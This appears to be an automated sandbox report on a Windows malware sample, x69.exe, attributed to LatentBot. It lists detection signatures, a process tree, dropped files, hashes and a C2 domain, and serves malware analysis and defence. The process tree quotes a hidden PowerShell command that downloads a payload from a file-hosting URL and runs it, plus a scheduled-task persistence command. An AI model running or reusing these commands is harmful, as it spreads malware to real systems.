Analysis

  • max time kernel
    33s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/05/2025, 20:25

General

  • Target

    x69.exe

  • Size

    49KB

  • MD5

    c1ade7728d9871043141fde331aebcf2

  • SHA1

    c9ebed22e028ff8d2e05dea75f04b2e4ca692d17

  • SHA256

    8ead895e1e76dc258954703305da5eed934eb7744eddf4d1b481c70fddefcef6

  • SHA512

    97a03bd5194a436b58a01348947cfe3793fac65b5d8b3bb70ce30240d3522ea44f7713548373fcae40f979693e879bef69a72202e3f8fc29f3d731a058b7f6ba

  • SSDEEP

    768:MF9xVUZjqp6T77Act5lzxQXE6bh5POTCNHJgwhLOlOu4:MXxVT6F5lzmXbh5h1OAu4

Malware Config

Extracted

Family

latentbot

C2

grayhatgroupontop.zapto.org

Signatures

  • LatentBot

    Modular trojan written in Delphi which has been in-the-wild since 2013.

  • Latentbot family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Loads dropped DLL 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 49 IoCs
  • Modifies registry class 20 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 41 IoCs
  • Suspicious use of SendNotifyMessage 41 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:376
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{742a7f0f-e5c2-4a52-b3bb-c750adbe5391}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4812
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:668
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:948
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:540
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1028
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
              1⤵
              • Indicator Removal: Clear Windows Event Logs
              PID:1100
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1140
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1160
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:2804
                  • C:\Users\Admin\AppData\Roaming\x69.exe
                    C:\Users\Admin\AppData\Roaming\x69.exe
                    2⤵
                    • Loads dropped DLL
                    PID:3984
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1240
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1248
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1304
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1324
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                          1⤵
                            PID:1408
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1468
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2548
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                1⤵
                                  PID:1584
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1608
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1640
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1728
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                        1⤵
                                          PID:1744
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1832
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1968
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1988
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                1⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2020
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1596
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:2068
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2084
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2164
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2320
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2328
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2580
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                            1⤵
                                                              PID:2592
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2604
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                  PID:2756
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2788
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                  1⤵
                                                                    PID:2852
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2868
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2888
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2896
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:3124
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3388
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                                PID:3456
                                                                                • C:\Users\Admin\AppData\Local\Temp\x69.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\x69.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:380
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Downloads MZ/PE file
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1700
                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonKit.com
                                                                                      "C:\Users\Admin\AppData\Local\Temp\MasonKit.com"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:5688
                                                                                      • C:\Users\Admin\AppData\Local\Temp\MasonR.bat
                                                                                        "C:\Users\Admin\AppData\Local\Temp\MasonR.bat"
                                                                                        5⤵
                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3160
                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "x69" /tr "C:\Users\Admin\AppData\Roaming\x69.exe"
                                                                                    3⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:5296
                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                  "C:\Windows\system32\taskmgr.exe" /4
                                                                                  2⤵
                                                                                  • Checks SCSI registry key(s)
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of SendNotifyMessage
                                                                                  PID:5620
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3636
                                                                                • C:\Windows\system32\DllHost.exe
                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                  1⤵
                                                                                    PID:3812
                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                    1⤵
                                                                                      PID:4016
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4212
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                        1⤵
                                                                                          PID:436
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:5656
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                            1⤵
                                                                                              PID:740
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                              1⤵
                                                                                                PID:1864
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:5232
                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                1⤵
                                                                                                  PID:1120
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:4164
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:4232
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:4888
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:1676
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:2172
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                          • Modifies registry class
                                                                                                          PID:800
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4756
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe ccca352727b8f4cbe855cf200336a615 Qni2/g22ikaKUxCH80CEMA.0.1.0.0.0
                                                                                                            1⤵
                                                                                                            • Sets service image path in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:632
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:1384
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                              1⤵
                                                                                                              • Drops file in Windows directory
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:1784
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Writes to the Master Boot Record (MBR)
                                                                                                              • Enumerates system info in registry
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:6072
                                                                                                            • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                              1⤵
                                                                                                                PID:2428
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                                1⤵
                                                                                                                  PID:1984
                                                                                                                • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  1⤵
                                                                                                                    PID:5984
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    PID:1900
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:548
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                    1⤵
                                                                                                                      PID:4000

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\MasonKit.com

                                                                                                                            Filesize

                                                                                                                            606KB

                                                                                                                            MD5

                                                                                                                            cc08b88c7b9ef35411f7ad9b8952d390

                                                                                                                            SHA1

                                                                                                                            315c2052a1d8eefc76df94b8fa7b52c037d2ea98

                                                                                                                            SHA256

                                                                                                                            83c839ff8e487d87992434bd395fb610ce6238c673c4e798724f2a34b6bb68d4

                                                                                                                            SHA512

                                                                                                                            74c74b03f2c9d14bff1ddcd9259fa58405f7f6f0f50f09d240c131e4258be4046a745ef918861ec0ccc8f6533008473d71c9f1c43b6805b8fa8fec403a12ee24

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\MasonR.bat

                                                                                                                            Filesize

                                                                                                                            592KB

                                                                                                                            MD5

                                                                                                                            ae78843b23f7a1c65f6b9a5a031f1950

                                                                                                                            SHA1

                                                                                                                            a12aad340d3eafb919d6cf38fad402f29b570ed0

                                                                                                                            SHA256

                                                                                                                            8de8fd340cd8057899781e8796f36543092cdfa9028958102bd5fec9f2070447

                                                                                                                            SHA512

                                                                                                                            648e6f7eeadf9d1ab2ba36311259a20f5b55c16a04a271fe7e7f3ee166e626aea6c6d97e9e5b4f8c9d1d997ab1444bcd1ff5dfa61bd9f1b988c58e30d40dc3b5

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4ivcmjw.vrb.ps1

                                                                                                                            Filesize

                                                                                                                            60B

                                                                                                                            MD5

                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                            SHA1

                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                            SHA256

                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                            SHA512

                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                          • C:\Users\Admin\AppData\Roaming\x69.exe

                                                                                                                            Filesize

                                                                                                                            49KB

                                                                                                                            MD5

                                                                                                                            c1ade7728d9871043141fde331aebcf2

                                                                                                                            SHA1

                                                                                                                            c9ebed22e028ff8d2e05dea75f04b2e4ca692d17

                                                                                                                            SHA256

                                                                                                                            8ead895e1e76dc258954703305da5eed934eb7744eddf4d1b481c70fddefcef6

                                                                                                                            SHA512

                                                                                                                            97a03bd5194a436b58a01348947cfe3793fac65b5d8b3bb70ce30240d3522ea44f7713548373fcae40f979693e879bef69a72202e3f8fc29f3d731a058b7f6ba

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            f313c5b4f95605026428425586317353

                                                                                                                            SHA1

                                                                                                                            06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                            SHA256

                                                                                                                            129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                            SHA512

                                                                                                                            b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                            SHA1

                                                                                                                            a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                            SHA256

                                                                                                                            98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                            SHA512

                                                                                                                            1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                            SHA1

                                                                                                                            63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                            SHA256

                                                                                                                            727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                            SHA512

                                                                                                                            f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                            SHA1

                                                                                                                            5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                            SHA256

                                                                                                                            55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                            SHA512

                                                                                                                            5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            0b990e24f1e839462c0ac35fef1d119e

                                                                                                                            SHA1

                                                                                                                            9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                            SHA256

                                                                                                                            a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                            SHA512

                                                                                                                            c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                          • memory/376-67-0x000002BC81DE0000-0x000002BC81F9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/376-63-0x000002BC81DE0000-0x000002BC81F9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/376-68-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/376-66-0x000002BC81DE0000-0x000002BC81F9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/376-65-0x000002BC81DE0000-0x000002BC81F9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/376-64-0x000002BC81DE0000-0x000002BC81F9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/380-614-0x00007FFA58873000-0x00007FFA58875000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            8KB

                                                                                                                          • memory/380-0-0x00007FFA58873000-0x00007FFA58875000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            8KB

                                                                                                                          • memory/380-41-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/380-659-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/380-1-0x0000000000770000-0x0000000000782000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            72KB

                                                                                                                          • memory/540-83-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/540-78-0x0000027212880000-0x0000027212A3B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/540-79-0x0000027212880000-0x0000027212A3B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/540-80-0x0000027212880000-0x0000027212A3B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/540-81-0x0000027212880000-0x0000027212A3B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/540-82-0x0000027212880000-0x0000027212A3B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/616-50-0x000001BAE18E0000-0x000001BAE1A9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/616-51-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/616-47-0x000001BAE18E0000-0x000001BAE1A9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/616-45-0x000001BADFD10000-0x000001BADFE4E000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.2MB

                                                                                                                          • memory/616-46-0x000001BAE18E0000-0x000001BAE1A9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/616-48-0x000001BAE18E0000-0x000001BAE1A9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/616-49-0x000001BAE18E0000-0x000001BAE1A9B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/668-58-0x0000025072400000-0x00000250725BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/668-56-0x0000025072400000-0x00000250725BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/668-59-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/668-57-0x0000025072400000-0x00000250725BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/668-54-0x0000025072400000-0x00000250725BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/668-55-0x0000025072400000-0x00000250725BB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/948-70-0x000001B1CAEE0000-0x000001B1CB09B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/948-73-0x000001B1CAEE0000-0x000001B1CB09B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/948-71-0x000001B1CAEE0000-0x000001B1CB09B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/948-75-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/948-72-0x000001B1CAEE0000-0x000001B1CB09B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/948-74-0x000001B1CAEE0000-0x000001B1CB09B000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

